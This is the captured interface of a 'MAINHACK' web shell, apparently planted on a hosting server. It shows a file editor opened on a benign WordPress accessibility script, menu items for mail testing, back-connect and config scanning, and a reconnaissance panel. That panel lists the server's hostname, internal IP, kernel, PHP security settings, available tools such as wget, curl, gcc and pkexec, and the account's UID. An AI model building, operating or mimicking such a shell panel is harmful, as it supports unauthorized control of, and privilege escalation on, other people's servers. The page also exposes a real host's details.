[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: wp-a11y.js
File is not writable. Editing disabled.
/** * @output site-inc/js/wp-a11y.js */ /** @namespace wp */ window.wp = window.wp || {}; ( function ( wp, $ ) { 'use strict'; var $containerPolite, $containerAssertive, previousMessage = ''; /** * Update the ARIA live notification area text node. * * @since 4.2.0 * @since 4.3.0 Introduced the 'ariaLive' argument. * * @param {String} message The message to be announced by Assistive Technologies. * @param {String} [ariaLive] The politeness level for aria-live. Possible values: * polite or assertive. Default polite. * @returns {void} */ function speak( message, ariaLive ) { // Clear previous messages to allow repeated strings being read out. clear(); // Ensure only text is sent to screen readers. message = $( '<p>' ).html( message ).text(); /* * Safari 10+VoiceOver don't announce repeated, identical strings. We use * a `no-break space` to force them to think identical strings are different. * See ticket #36853. */ if ( previousMessage === message ) { message = message + '\u00A0'; } previousMessage = message; if ( $containerAssertive && 'assertive' === ariaLive ) { $containerAssertive.text( message ); } else if ( $containerPolite ) { $containerPolite.text( message ); } } /** * Build the live regions markup. * * @since 4.3.0 * * @param {String} ariaLive Optional. Value for the 'aria-live' attribute, default 'polite'. * * @return {Object} $container The ARIA live region jQuery object. */ function addContainer( ariaLive ) { ariaLive = ariaLive || 'polite'; var $container = $( '<div>', { 'id': 'wp-a11y-speak-' + ariaLive, 'aria-live': ariaLive, 'aria-relevant': 'additions text', 'aria-atomic': 'true', 'class': 'screen-reader-text wp-a11y-speak-region' }); $( document.body ).append( $container ); return $container; } /** * Clear the live regions. * * @since 4.3.0 */ function clear() { $( '.wp-a11y-speak-region' ).text( '' ); } /** * Initialize wp.a11y and define ARIA live notification area. * * @since 4.2.0 * @since 4.3.0 Added the assertive live region. */ $( document ).ready( function() { $containerPolite = $( '#wp-a11y-speak-polite' ); $containerAssertive = $( '#wp-a11y-speak-assertive' ); if ( ! $containerPolite.length ) { $containerPolite = addContainer( 'polite' ); } if ( ! $containerAssertive.length ) { $containerAssertive = addContainer( 'assertive' ); } }); /** @namespace wp.a11y */ wp.a11y = wp.a11y || {}; wp.a11y.speak = speak; }( window.wp, window.jQuery ));
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.32 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A